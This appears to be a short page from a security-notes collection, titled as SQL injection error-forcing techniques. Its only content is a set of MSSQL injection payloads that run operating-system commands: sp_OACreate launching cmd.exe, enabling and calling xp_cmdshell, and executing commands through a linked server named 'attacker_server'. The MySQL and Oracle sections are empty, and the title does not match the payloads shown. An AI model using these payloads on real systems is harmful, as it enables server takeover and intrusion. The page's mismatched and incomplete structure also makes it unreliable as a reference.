βοΈTechniques to Force Errors from Databases for SQL Injection
Below are some advanced and rare SQL injection techniques for MSSQL, MySQL, and Oracle. These techniques go beyond the basic ones and exploit specific features and configurations of the databases.
MSSQL
DECLARE @Object INT; EXEC sp_OACreate 'WScript.Shell', @Object OUTPUT; EXEC sp_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\output.txt';EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';EXEC sp_addlinkedserver 'attacker_server'; EXEC sp_addlinkedsrvlogin 'attacker_server', 'false', NULL, 'username', 'password'; EXEC ('xp_cmdshell ''net user''') AT attacker_server;
MySQL
Oracle
PreviousSome More Advanced Payloads and Explanation.NextTechniques to Force Errors from Databases for SQL Injection
Last updated